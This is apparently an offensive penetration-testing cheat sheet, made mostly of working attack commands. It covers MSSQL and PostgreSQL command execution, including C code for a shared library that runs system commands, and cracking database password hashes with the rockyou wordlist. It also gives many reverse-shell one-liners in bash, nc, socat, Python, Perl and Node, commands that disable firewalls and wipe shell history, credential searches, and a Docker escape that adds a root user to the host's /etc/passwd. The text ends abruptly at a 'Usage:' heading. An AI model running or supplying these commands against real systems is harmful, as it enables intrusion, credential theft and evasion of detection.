- Scripts may be executed in a different user with higher privileges than IIS:
EXEC sp_configure 'external scripts enabled', 1 RECONFIGURE WITH OVERRIDE -- Python and R are supported langs sp_execute_external_script @language =N'Python', @script=N'import os;os.system("whoami")' -- R variant sp_execute_external_script @language =N'R', @script=N'shell("whoami", NULL)'
- From here:
-- Step 1: Enable Ole Automation Procedures sp_configure 'show advanced options', 1 RECONFIGURE sp_configure 'Ole Automation Procedures', 1 RECONFIGURE -- You may need to use EXEC and OVERRIDE: EXEC sp_configure 'show advanced option', '1' RECONFIGURE WITH OVERRIDE -- Step 2: Write Text File DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'C:\<file-path>.txt', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<string>' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE
- From here:
BACKUP DATABASE <database> TO DISK='C:\<path+name>' WITH FORMAT
- Find more examples in docs.microsoft
SELECT name, password from syslogins
- The rockyou dictionary needs to be trimmed for the attack as the PWDCOMPARE function has an input length limit:
perl -ine 'print if not @seen{$_}++ and length $_ < 129' rockyou.txt
- Note that older Windows Server versions are case-insensitive so use
tr '[A-Z]' '[a-z]'~ before the previous perl (or add ~lc
to theseen
hash population) - The rockyou dictionary fits in its entirety if properly trimmed
- Note that the ROWTERMINATOR is extremely important to get it right 0x0a -> Unix/Windows 0x0d -> Mac
- Modern T-SQL commands for bruteforcing
-- Most efficient (due to short circuit) that works in Windows Server 2000
--------------------------------------
-- Note that the crack will take more than one hour
--------------------------------------
-- The length of @sName is kept at minimum to prevent long headings
--------------------------------------
CREATE TABLE #tmp(checkPass NVARCHAR(128))
BULK INSERT #tmp FROM 'C:\WINNT\Temp\rockyou.txt' WITH (ROWTERMINATOR = '0x0a')
DECLARE login_cursor CURSOR FOR SELECT name, password FROM syslogins ORDER BY createdate
OPEN login_cursor
DECLARE @sName NVARCHAR(10), @sPass NVARCHAR(128)
FETCH NEXT FROM login_cursor INTO @sName, @sPass
WHILE @@FETCH_STATUS = 0
BEGIN
SELECT @sName UNION SELECT TOP 1 checkPass FROM #tmp WHERE PWDCOMPARE(checkPass, @sPass) = 1
FETCH NEXT FROM login_cursor INTO @sName, @sPass
END
CLOSE login_cursor
DEALLOCATE login_cursor
DROP TABLE #tmp
--------------------------------------
-- For at least Windows Server 2006 it may be possible to use the WITH <name> as ( select ... ) select ... <name> or use CROSS APPLY with another query or function (used like the INNER JOIN below but allowing short-circuiting)
--------------------------------------
CREATE TABLE #tmp(checkPass NVARCHAR(128))
BULK INSERT #tmp FROM 'C:\WINNT\Temp\rockyou.txt' WITH (ROWTERMINATOR = '0x0a')
CREATE FUNCTION passCheck(@pass VARBINARY(128))
RETURNS TABLE AS RETURN ( SELECT TOP 1 * FROM #tmp WHERE PWDCOMPARE(checkPass, @pass) = 1 )
SELECT s.name, t.checkPass FROM syslogins s CROSS APPLY passCheck(s.password) t
DROP TABLE #tmp
--------------------------------------
-- Not short circuit but without loop works in Windows Server 2000
--------------------------------------
CREATE TABLE #tmp(CheckValue NVARCHAR(1000))
BULK INSERT #tmp FROM 'C:\rockyou.txt' WITH (ROWTERMINATOR = '0x0a')
SELECT s.name AS name, t.CheckValue AS password FROM syslogins s INNER JOIN #tmp t ON PWDCOMPARE(t.CheckValue, s.password) = 1
--------------------------------------
-- This one iterates over the dictionary instead of the syslogins (less efficient)
--------------------------------------
-- Pipe osql -E -Q "<inline-query>" | findstr /v /C:"^ ----" /C:"(1 row affected)" /C:"^ name" /C:"^$"
-- Or use the -o <output> flag
--------------------------------------
declare file_cursor CURSOR FOR SELECT CheckValue FROM #tmp
OPEN file_cursor
DECLARE @passCmp sysname
FETCH NEXT FROM file_cursor INTO @passCmp
WHILE @@FETCH_STATUS = 0
BEGIN
SELECT NAME FROM syslogins WHERE PWDCOMPARE(@passCmp, password) = 1 UNION SELECT @passCmp
FETCH NEXT FROM file_cursor INTO @passCmp
END
CLOSE file_cursor
DEALLOCATE file_cursor
--------------------------------------
-- Unefficient while loop
--------------------------------------
WHILE (SELECT COUNT(*) FROM #tmp WHERE line IS NOT NULL) > 0
BEGIN
SELECT TOP 1 @passCmp = line FROM #tmp
SELECT NAME FROM syslogins WHERE PWDCOMPARE(@passCmp, password) = 1 UNION ALL SELECT @passCmp
DELETE FROM #tmp WHERE line = @passCmp
END
- Version and current user
SELECT version(); SELECT current_user;
- List databases
SELECT datname FROM pg_database; -- Show only user created (public) ones SELECT table_name FROM app.information_schema.tables WHERE table_schema = 'public';
- List columns and types from a table
SELECT column_name, data_type FROM app.information_schema.columns WHERE table_name = 'user';
- Extract version - error based
cast(version() AS integer);
- Use Large Objects for binary files instead
- Read using function:
SELECT pg_read_file('/etc/passwd');
- Read using auxiliary table:
-- Requires table creation permissions CREATE TABLE tmp(DATA text); COPY tmp FROM '/etc/passwd'; SELECT * FROM tmp; DROP TABLE tmp;
- List Large Objects:
-- IDs only \lo_list -- IDs and PageNo (LOBLKSIZE: default 2K) SELECT loid, pageno FROM pg_largeobject; -- Files larger than 2K are split -- IDs and data content SELECT loid, encode(data, 'escape') FROM pg_largeobject; -- Read access to LOs is subject to ACL -- Note that newly created LOs might have -- different read perm than existing ones
- Create LO:
-- Create and return new ID SELECT lo_create(-1); -- Create using given OID SELECT lo_create(1234);
- Insert binary content (base64 enc) to a LO:
-- See below for how to split -- First 2K data INSERT INTO pg_largeobject (loid, pageno, data) values (<OID>, 0, decode('<b64-chunk1>', 'base64')); -- Second 2K data INSERT INTO pg_largeobject (loid, pageno, data) values (<OID>, 1, decode('<b64-chunk2>', 'base64'));
- Split file in 2K chunks + encode them:
split -b 2048 pg_exec.so # Base64 - Zsh only for f (x*) base64 -w0 $f && echo # Hex - Posix for f in x*; do od -An -tx1 -v $f | tr -d ' \n' && echo; done
- Read files as LO:
-- Returns the ID of the LO SELECT lo_import('<file-path>'); -- UNC paths work on Windows platforms -- Read and assign a LO ID SELECT lo_import('<file-path>', 1234);
- Update content of LO with hex data:
UPDATE pg_largeobject SET data=decode('<hex>', 'hex') WHERE loid=1234 AND pageno=0; -- <hex> is 'deadbeef', not '0xfeedcafe'
- Write LO to file:
SELECT lo_export(1234, '<file-path>');
- Delete LO:
\lo_unlink 1234 -- or using SELECT SELECT lo_unlink(1234); -- Delete all SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l;
- Ref - Only if COPY is available - >= 9.3
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); -- Run system command COPY cmd_exec FROM PROGRAM '<sys-cmd>'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec;
- Linux
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
- Windows
-- Windows CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS 'C:\Windows\System32\kernel32.dll', 'WinExec' LANGUAGE C STRICT;
- Execute:
SELECT system('<command>');
- Remove UDF:
DROP FUNCTION system(cstring);
- From version 11.0 loading shared libraries is only allowed under
<root-path>/PostgreSQL/11/lib
- Write the LO shared lib to
<root-path>/PostgreSQL/11/data
and load it using a relative path:-- Linux CREATE OR REPLACE FUNCTION pg_exec(cstring) RETURNS int AS '../data/pg_exec', 'pg_exec' LANGUAGE C STRICT; -- Windows CREATE OR REPLACE FUNCTION pg_exec(text) RETURNS int AS '..\data\pg_exec', 'pg_exec' LANGUAGE C STRICT; -- No .so or .dll extension required
- Write the LO shared lib to
- Linux UDF -
pg_exec.c
#include <string.h> #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { char* command = PG_GETARG_CSTRING(0); PG_RETURN_INT32(system(command)); }
- Compile from Docker
# Create shared folder mkdir /tmp/pgdocker # Place pg_exec.c in /tmp/pgdocker # See: https://hub.docker.com/_/postgres docker run -it --rm -v "/tmp/pgdocker:/mnt/pgdocker:rw" --entrypoint /bin/bash postgres:<version> # Inside the docker img cd /mnt/pgdocker apt update # Find the Postgres major+minor version postgres -V apt install --no-install-recommends -y gcc libc-dev postgresql-server-dev-<major-minor-ver> gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c exit # On host system docker rmi postgres:<version>
- Windows -
pg_exec.c
#include "postgres.h" #include <string.h> #include <stdio.h> #include "fmgr.h" #include "utils/geo_decls.h" #include "utils/builtins.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum pg_exec(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(pg_exec); /* Define function */ Datum pg_exec(PG_FUNCTION_ARGS) { /* convert text pointer to C string */ #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) /*launch the process passed in the first parameter*/ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); PG_RETURN_VOID(); }
- Compile:
- Create a DLL Visual Studio project
- Properties > General > Character Set:
Use Multi-Byte Character Set
- Include the following dirs in C/C++:
c:\Program Files (x86)\PostgreSQL\<version>\include\server\port\win32_msvc;c:\Program Files (x86)\PostgreSQL\<version>\include\server\port\win32;c:\Program Files (x86)\PostgreSQL\<version>\include\server;c:\Program Files (x86)\PostgreSQL\<version>\include;%(AdditionalIncludeDirectories)
- Include the following dir for in Linker:
c:\Program Files (x86)\PostgreSQL\<version>\lib;%(AdditionalLibraryDirectories)
- Set Link Library Dependency to
No
- Build Project
- Windows rev shell DLL: site
- Just loading the DLL launches the shell
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '<path\to>\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
- Just loading the DLL launches the shell
- List version and current user
SELECT * FROM v$version; -- user is a function -- dual is a valid placeholder table SELECT user FROM dual; -- the user is not necessarily the OS one
- List databases
-- List all schemas by user SELECT owner FROM all_tables GROUP BY owner; -- List all tables in a schema SELECT table_name FROM all_tables WHERE owner = 'SYS' ORDER BY table_name; -- Tables may contain a $ (mainly system)
- List columns and types from a table
SELECT column_name, data_type FROM all_tab_columns WHERE table_name = 'main';
- Extract version - error based
to_char( dbms_xmlgen.getxml( 'select "'|| (select substr(banner,0,30) from v$version where rownum=1) ||'" from sys.dual' ) );
- Limited SQL without:
- UNION
- Wildcards
- String concat
- Almost all functions except COUNT()
- Strings are single quotes only
- Usage of AND followed by OR require parentheses:
... OR (...)
- Left member of comparison must be a column from the table being queried
- Inner/Outer tables must differ from main one
- Outer join limited to ID only:
SELECT Name FROM table WHERE Id IN (SELECT Id FROM other_table ...)
- No apparent limitation for Inner join:
SELECT Id, (SELECT Name FROM other_table) FROM table
- Get the JAR client and connect:
java -cp hsqldb-<ver>.jar org.hsqldb.util.DatabaseManagerSwing --url jdbc:hsqldb:hsql://<ip>/<path> --user <user> --password <pass> # Default user: sa - no password
- Check that functions can be created & run:
CREATE FUNCTION getProperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' -- Check the classpath of HSQLDB: VALUES(getProperty('java.class.path'))
- In the application or the JRE, search for:
public static
methods- with parameters that map to SQL types or primitives (String, Int…)
- and its return value maps to an SQL type, primitives or
void
- Extract/find all the java classes and use an IDE to import them as a project to ease the search
- Read using JavaUtils getBytesFromFile:
CREATE PROCEDURE getBytesFromFile(IN paramString VARCHAR) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromFile' -- Read from file - Accepts relative path VALUES(getBytesFromFile('<file>')) -- Returns content hex encoded
- Write using JavaUtils writeBytesToFilename:
-- VARBINARY size could be bigger CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' -- Write to file - <hex> has no 0x prefix CALL writeBytesToFilename('<file>', CAST ('<hex>' AS VARBINARY(1024))) -- CALL required for void returning funcs
- Key-based alphabetic ciphers may reveal the key through KPA using known-whitespace-trimmed-text as key
- Site - Identify and crack ciphers
- Site - Auto-crack cryptos (chaotic)
- Site - Multiple crypto tools
- Site - Automated crypto/cipher solver
- Site - AI auto-cracker
ciphey -t "<hash/encrypt>" # -w <wlist> - Words found in -t # -q - Quiet - Don't show progress
- Site - Crack RSA/recover private key:
# Obtain private RSA from .pub RsaCtfTool.py --publickey <key.pub> --private # sagemath and opt-depends required # Uncipher file RsaCtfTool.py --publickey <key.pub> --uncipherfile <file> # Convert to PEM format RsaCtfTool.py --publickey <key.pub> --convert_idrsa_pub
- Site - GPG tool - Cheatsheet
# Import keys (public/private) gpg --import file.gpg # Decrypt messages gpg --decrypt msg.enc # List private keys gpg --list-secret-keys # Delete private key gpg --delete-secret-keys <key> # Delete public key gpg --delete-key <key>
- Site - Find hashes on the net + ROT:
dcode "<hash>" # All ROT (lowercase output) dcode -rot all "<hash>"
- Site - En/decode/break classic crypto:
subbreaker break --text "<text>" # --lang EN by default
- Site - Perform ROT en/decoding:
# All 25 ROT seq 25 | xargs -I{} ./rot.py "<str>" {}
- Site - Extract and Crack encryption
# Extracts bbharvest <file> # Cracks bbcrack <file>
- Site - SPNs Ops on AD accounts over LDAP
# Add SPN to <target> in <ip/host> addspn.py -u <usr> -p <pass> -t <target-name> -s <SPN> <ip/host> # -a - Use msDS-AdditionalDnsHostName # -r - Remove # -q - Show <target> SPNs
- Site - DNS Ops on ADIDNS rec over LDAP
# Add DNS record fqdn+ip on <ip/host> dnstool.py -u "<dom>\<usr>" -p <pass> -a add -r <target-rec/fqdn> -d <data-rec/ip> <ip/host> # -a query - Query records # --print-zones - Query zones # --zone <zone> - Zone to search in # --forest - Look ForestDnsZones # See other -a options
- Site - Dump service account pass (GMSA):
gMSADumper.py -u <user> -p <pass> -d <dom> # -p <lm:ntlm> - Pass the Hash auth # -l <dom.ctrl> - For Pass the Hash # -k - Kerberos auth (+ -l)
- Disable firewall:
systemctl stop firewalld
- Check rules (ref):
# List all rules firewall-cmd --list-all # List rule-groups firewall-cmd --get-active-zones firewall-cmd --get-services # List rule group content firewall-cmd --zone=<rule> --list-all firewall-cmd --zone=<rule> --list-ports
- Disable firewall:
netsh firewall set opmode disable
- Allow ports by services:
:: RDP access netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable
- Allow ports by number:
ufw allow from <ip> proto tcp to any port <port1>,<port2>...
- Basic:
# Use -u for UDP nc -n <ip> <port> -e /bin/sh ncat -n <ip> <port> -e /bin/sh # Or -c bash instead of -e
rm -f /tmp/f; mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc -n <ip> <port> > /tmp/f
rm -f /tmp/f; mknod /tmp/f p; /bin/sh -i < /tmp/f 2>&1 | nc -n <ip> <port> > /tmp/f
- Client:
socat EXEC:'bash -i',stderr TCP:<ip>:<port>
- Client PTY:
socat EXEC:'bash -i',pty,ctty,stderr,setsid,sigint,sane TCP:<ip>:<port>
- Server PTY:
# Use - instead of $(tty) socat GOPEN:$(tty),raw,echo=0 TCP-LISTEN:<port>
- Client:
rm -f /tmp/s; mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ip>:<port> > /tmp/s
- Server:
# Generate the certificate openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # Start the server openssl s_server -quiet -key key.pem -cert cert.pem -port <port> # Use ncat as alternative ncat --ssl -lnvp <port>
- Obtain a reverse-shell using bash:
# UDP is also an option bash -i &>/dev/tcp/<ip>/8080 0>&1
- Detach it from the current process:
nohup bash -c 'setsid bash -i &>/dev/tcp/<ip>/8080 0>&1 &' >/dev/null 2>&1 & # It may not work over webapps
exec /usr/bin/script -qc /bin/bash /dev/null
- Using PTY:
exec python -c "import pty; pty.spawn('/bin/sh')"
- Using Subprocess:
exec python -c "__import__('subprocess').call(['/bin/bash'])"
- Using exec:
exec perl -e "exec '/bin/sh';"
- Using backquotes:
exec perl -e "print `/bin/sh`;"
socat EXEC:"/bin/sh -i",pty,ctty,stderr,setsid,sigint,sane -
- Check that the system can be upgraded:
# stty needs to be available type stty # Or resize type resize # It may be hidden find / -name resize\* -type f 2>/dev/null # Or check whether $ROWS and $COLUMNS # are used: export set # Very recommended to be available type reset
- Background the shell with
Ctrl-Z
- Obtain the size of the current terminal
# The numbers are ROWS COLUMNS stty size # POSIX alternative stty -a | sed -n 's/.*\(\(\(rows\|columns\)[^;]*; \)\{2\}\).*/\1/p' # With tput echo 'lines\ncols' | tput -S
- Enable RAW mode + foreground the shell:
stty raw -echo; fg
- Introduce the following blindly:
# Set the terminal type export TERM=xterm-256color # Fallbacks: # xterm, screen, linux, or dumb # Sustitute with the previous values stty rows <rows> cols <cols> # Or, if resize is available export ROWS=<rows> export COLUMNS=<cols> resize
- Apply the new changes:
exec /bin/bash -i reset
- Final exports:
export SHELL=/bin/bash export HOME=/tmp export PAGER=less
- netcat
- ncat-portable-5.59BETA1
- Note that non-interactive sessions will require
cmd.exe
:cmd.exe /c nc.exe <ip> <port> -e cmd
- Spawning a system shell oneliner
perl -MSocket -e 'socket+S,2,1,6;connect+S,sockaddr_in+<port>,inet_aton"<ip-host>"or+die;open+STDIN,">&S";open+STDOUT,">&S";open+STDERR,">&S";exec"/bin/sh -i"'
- Spawning a system shell oneliner
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip-host>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
- Spawning a system shell with pty
import socket import os import pty s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("<ip-host>", <port>)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) pty.spawn("/bin/sh")
- Spawning a system shell
node -e '(function(){var sh = require("child_process").spawn("/bin/sh", []), cli = new require("net").Socket(); cli.connect(<port>, "<ip-host>", function(){cli.pipe(sh.stdin); sh.stdout.pipe(cli); sh.stderr.pipe(cli);}); return /a/;})();' # Set require is not there by default: # var r=global.process.mainModule.require
- Prevent command logging:
# Bash echo $HISTFILE export HISTFILE=/dev/null # Zsh # Also check HISTFILE echo $HISTFILE # Push a new history stack fc -p # Pop current history stack (deleting) fc -P
- List environment variables:
echo $USER echo $HOME echo $SHELL echo $PWD echo $PATH # all export set # Modify for all programs in shell export VAR=<value> # Make it permanent for current user echo 'export VAR=<value>' >> ~/.bashrc
- Locate users that could be used for logging in:
# Also check /etc/shadow grep -v 'nologin\|false' /etc/passwd
- User identification:
whoami # User, Group, and Context ID id -a # Logged users who # Logged users - extra info who -a # Logged users + stats + login process w
- Permissions identification:
# Check if sudo is vulnerable in exploitdb sudo -V # Commands that can be run with sudo # without password prompting sudo -l # Also note: env_keep+=LD_PRELOAD # Exploit dirs with wildcards: /vuln/dir/* # sudo /bin/sh /vuln/dir/../../tmp/root.sh # Same but for all users less /etc/sudoers # Find files with the SUID flag: find / \( -perm -4000 -o -perm -2000 \) -type f -ls 2>/dev/null # See how to leverage them: # https://gtfobins.github.io # Use ldd to detect missing libraries # Find folders with the S[UG]ID flags: find / \( -perm -4000 -o -perm -2000 \) -type d -ls 2>/dev/null # New files on such directories obtain # the folder's S[UG]ID automatically # Find everything else: find / \( -perm -4000 -o -perm -2000 \) \! -type f \! -type d -ls 2>/dev/null # Everything writable and executable # can be injected with evil code # Locate binaries with capabilities getcap -r / 2>/dev/null # CAP_SETUID allows privesc: GTFObins # Caps are retained in subprocesses # Users with capabilities less /etc/security/capability.conf # Sevices with capabilities grep -r 'AmbientCapabilities=' /etc/systemd # Other interesting Caps for privesc: # - CAP_SYS_ADMIN # - CAP_SYS_PTRACE # - CAP_SYS_MODULE # - CAP_DAC_READ_SEARCH # - CAP_DAC_OVERRIDE # - CAP_CHOWN # - CAP_FORMER # - CAP_SETGID # - CAP_SETFCAP # - CAP_SETUID # Caps that may aid in privesc: # - CAP_KILL # - CAP_NET_BIND_SERVICE # - CAP_NET_RAW # - CAP_NET_ADMIN + CAP_NET_RAW # - CAP_LINUX_IMMUTABLE
- List OS and version:
# All details cat /proc/version # Kernel details uname -a # Distro detail cat /etc/issue cat /etc/*-release # Check the Dirty COW section
- Kernel hardening using checksec:
./checksec --kernel 2>/dev/null
- List scheduled tasks:
# Current user crontab -l # Some systems may use cru # System scheduled tasks less /etc/crontab # Systemd timers systemctl list-timers
- Find files/directories:
ls -lah / ls -lah /root ls -lah /home ls -lah /var ls -lah /var/spool ls -lah /var/mail ls -lah /var/spool/mail ls -lah /etc/security ls -lah /etc/init ls -lahd /etc/init ls -lah /etc/init.d ls -lahd /etc/init.d ls -lah /etc/rc.d ls -lahd /etc/rc.d ls -lah /etc/rc.d/init.d ls -lahd /etc/rc.d/init.d ls -lah /etc/systemd/system ls -lahd /etc/systemd/system find /var/log -type f 2>/dev/null find /var/cache -type f 2>/dev/null find /var/crash -type f 2>/dev/null # Exclude paths find /var/www \! -path /var/www/error/\* -type f 2>/dev/null # Files owned by specific users/groups find / \( -user adm -o -group adm \) -ls 2>/dev/null | grep -v ' /sys\| /proc' ls -lah /etc ls -lah /usr/src ls -lah /usr/local ls -lah /opt ls -lah /var/opt # Show the commands of the processes find /proc -name cmdline -exec sh -c 'grep -qv "^ *$" {} && { echo; echo {} | sed "h;s/./-/gp;H;x"; cat {}; echo; }' \; 2>/dev/null # All world writable files find / -perm -o+w -type f \! -path /proc \! -path /sys 2>/dev/null # Check if they are writable ls -lahd /etc/ld.so.conf.d/ ls -lah /etc/ld.so.conf.d/
- Follow this if ld.so.conf can be modified
- Check udev rules:
ls -lah /etc/udev/rules.d ls -lahd /etc/udev/rules.d
- List disk/partitions:
ls /dev ls /dev/mapper # List partitions fdisk -l /dev/sda blkid /dev/sda cat /proc/partitions # Mounted mount cat /etc/mtab cat /etc/fstab cat /proc/mounts # Swap swapon cat /proc/swaps
- Mount partitions:
# Requires root mount /dev/sda2 <path> # Doesn't require udisksctl mount -b /dev/sda2 <path>
- Host and Domain identification:
# hostname hostname # Long hostname hostname -f # IPs for the hostname hostname -i # NIS/YP Domain hostname -y domainname nisdomainname ypdomainname # DNS domain hostname -d dnsdomainname
- Get the interfaces:
# Modern systems ip addr # Not so modern ifconfig # Old systems netstat -ie
- Check the routing table:
# Modern systems ip route # Not so modern route # Old systems netstat -r
- Check the DNSs:
cat /etc/resolv.conf
- Check the hosts:
cat /etc/hosts
- Check the ARP table:
arp # BSD format arp -a # Numeric output arp -n
- Check the sockets:
# Modern systems ss -tulnp # Old systems netstat -anop
- Check the firewall rules:
iptables --list # Modern systems may use nftables
- List running processes:
ps aux | less # ps w in some systems
- List drivers:
lsmod less /proc/modules
- CPU and memory info:
less /proc/cpuinfo less /proc/meminfo # Stats cat /proc/uptime less /proc/stat less /proc/vmstat less /proc/misc
- List environment variables:
echo %USERNAME% echo %USERDOMAIN% echo %USERPROFILE% echo %PATH% :: Temporarily modify it set PATH=%PATH%;C:\<path> :: Set it permanently (yes, no =) setx PATH %PATH%;C:\<path>
- Check if custom installation:
:: Both should be the same echo %SystemRoot% echo %WinDir% :: SystemRoot isn't defined in pre-NT
- Find all users / user info:
:: List all users net user :: List extended user info net user <username> :: Pay attention to the Local and Global Group memberships :: Enumerate all domain users net user /domain :: List current account details net accounts
- List current user and hostname:
:: May not be installed whoami hostname
- List current user privileges:
whoami /priv
- List OS and version:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" :: Alternatively try: msinfo32 :: Note: msinfo32 may not be in PATH
- List patches:
wmic qfe get Caption,Description,HotFixID,InstalledOn
- List .NET versions:
:: Useful for compiling C# exploits dir /a:D "C:\WINDOWS\Microsoft.NET\Framework" :: Or query the registry reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"
- List PowerShell versions and paths:
:: Try with different numbers reg query HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion reg query HKLM\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v ApplicationBase :: Custom PSs reg query HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v Path :: ^ Also check for ExecutionPolicy
- Find files/directories:
cd C:\ :: Show hidden and non-hidden content dir /a :: List all recursively dir /s /a :: Locate .txt files in the system dir /s *.txt :: Locate .bak files in the system dir /s *.bak :: List non-hidden recursively dir /s :: Hidden content only dir /ah :: Hidden content recursively dir /ah /s :: Both hidden/non-hidden - simple for /f "tokens=*" %i in ('dir /b/a:-d') do echo "%i"
- Check folder permissions (icacls):
:: WD: Write Perm | AD: Create Dir icacls <dir> :: R: Read | X: Execute | I: Inherit
- List possible passwords/credentials:
:: Files dir /s /a *pass* == *cred* == *vnc* == *.config* findstr /si password *.xml *.ini *.txt :: Registry reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
- PowerShell history:
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
- Show the content/concat file(s):
type <file>
- List, mount, unmount disk volumes:
:: List all volumes mountvol :: Mount volume in D: mountvol D:\ \\?\Volume{<guid>}\ :: Unmount D: mountvol D:\ /D
- Find the type of a volume (CD-ROM):
:: Do this to find why cd D:\ returns :: > The device is not ready diskpart list disk select disk 0 list partition select partition 1 list volume :: Check the type, FS... :: CD/DVD-ROM without a disk won't :: allow accessing it, thus the error
- Disk repair tools (to then mount):
chkdsk :: Add the /f flag to perform fixes sfc /scannow :: Windows File Protecton fixer
- Mount shares:
:: Map the share net use \\<ip>\<path> :: Map the share to a label net use E: \\<ip>\<path> :: Or mount the share to a folder mklink /d C:\<path> \\<ip>\<path>
- List all interfaces:
ipconfig /all
- List routing table:
route print
- List ARP tables:
arp -a arp -A
- List all connections, state + pid:
netstat -ano :: Show only TCP netstat -anop TCP
- List firewall stated and configuration:
netsh firewall show state netsh firewall show config
- List firewall adv profile and rules:
netsh advfirewall show currentprofile netsh advfirewall firewall show rule name=all
- List scheduled tasks:
schtasks /query /fo LIST /v :: A modified version exists for :: Win2K as well as JT.EXE
- List running processes:
:: All running processes tasklist /SVC :: Process by match tasklist /FI "IMAGENAME eq <process>"
- List drivers and filter:
:: List not found in C:\WINDOWS driverquery /v | findstr /i /v "C:\WINDOWS" :: List only executed at boot driverquery /v | findstr /i "boot" :: List only running drivers driverquery /v | findstr /i "running"
- List services and their permissions:
wmic service list brief :: Using sc sc query sc qc <service-name>
- AccessChk multiple system permissions:
:: Accept terms accesschk.exe /accepteula :: Service permissions accesschk.exe -ucqv * accesschk.exe -ucqv <service-name> accesschk.exe -uwcqv "Authenticated Users" * :: Folders with weak permissions accesschk.exe -uwdqs Users C:\ accesschk.exe -uwdqs "Authenticated Users" C:\ :: Files with weak permissions accesschk.exe -uwqs Users C:\*.* accesschk.exe -uwqs "Authenticated Users" C:\*.*
- Check for current PS path:
(Get-Process -Id $pid).Path
- Check for default PS:
(Get-Command PowerShell.exe).Path :: Newer Windows (Get-Command -Name pwsh).Path
- Check for current version:
:: PS 2.0 and up $PSVersionTable.PSVersion.ToString() :: PS 1.0 $host.Version
- Check if running 64 bit PS:
:: Pointers are 8 bytes on x64 PS [System.IntPtr]::Size -eq 8 :: Using the environment [Environment]::Is64BitProcess
- Run a specific version:
powershell -version 2
- Check for a specific version:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 :: Windows Server Get-WindowsFeature PowerShell-V2
- Path list:
- Windows 64 bit:
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe :: From 32 bit session %SystemRoot%\SysNative\WindowsPowerShell\v1.0\powershell.exe
- Windows 32 bit:
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe :: Also try %WinDir% :: From 64 bit session %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
- Windows 64 bit:
- List the images:
docker images
- Check the history of an image:
docker history --no-trunc <img-hash>
- Run an interactive shell in the image:
docker run -it --entrypoint=/bin/sh <img-hash>
- Mount the host’s filesystem and access it through docker:
cd / docker run -it -v $PWD:/mnt --entrypoint=/bin/sh <img-hash> # If you are root in Docker you'll be # able to access the host filesystem # also as root under /mnt echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd # Now you'll be able to su toor with # password: password on the host
- If you don’t have any image available (or those available are restricted) you can use a socks tunnel to obtain a vulnerable one
- Site - profs unprivileged info snoop:
# -pf - Commands and System Events pspy -pf -i 1000 # -i <ms> - Scan procfs every 1000ms # -r <dir> - Recursive dir watch # -d <dir> - Non-recursive dir watch
- winPEASexe - .NET >= 4.5 (Watson incl)
- winPEASbat - toggle the
long
variable
- Site - unsupported xlsx fix
# Obtain the latest database windows-exploit-suggester.py --update # Suggest based on systeminfo output windows-exploit-suggester.py --database <database> --systeminfo <file-with-systeminfo-output>
- PowerShell x86/x64
- Download
- Usage:
